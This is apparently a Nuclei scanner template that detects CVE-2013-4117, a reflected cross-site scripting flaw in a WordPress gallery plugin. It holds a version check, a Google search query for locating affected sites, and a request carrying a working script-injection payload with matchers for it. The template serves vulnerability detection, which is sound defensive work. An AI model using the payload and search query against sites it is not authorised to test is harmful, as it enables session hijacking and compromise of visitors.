id: CVE-2013-4117

info:
  name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4117
    - http://openwall.com/lists/oss-security/2013/07/11/11
    - http://seclists.org/bugtraq/2013/Jul/17
    - http://exploit.iedb.ir/exploits-177.html
    - http://packetstormsecurity.com/files/122259/WordPress-Category-Grid-View-Gallery-XSS.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-4117
    cwe-id: CWE-79
    epss-score: 0.12974
    epss-percentile: 0.95822
    cpe: cpe:2.3:a:anshul_sharma:category-grid-view-gallery:2.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "anshul_sharma"
    product: "category-grid-view-gallery"
    google-query: "inurl:\"/wp-content/plugins/category-grid-view-gallery\""
  tags: cve2013,cve,seclists,packetstorm,wordpress,xss,wp-plugin,anshul_sharma,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Category Grid View Gallery ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220775dc5d710fc662ae1c9d18a7e596e4b699a62fddc777aba2a35c0ce58b9ee0b022100bcb81cb23e033fb3bb70f37fce9385f6e85f0bc515fae8a84a7df49c3121faa0:922c64590222798bb761d5b6d8e72950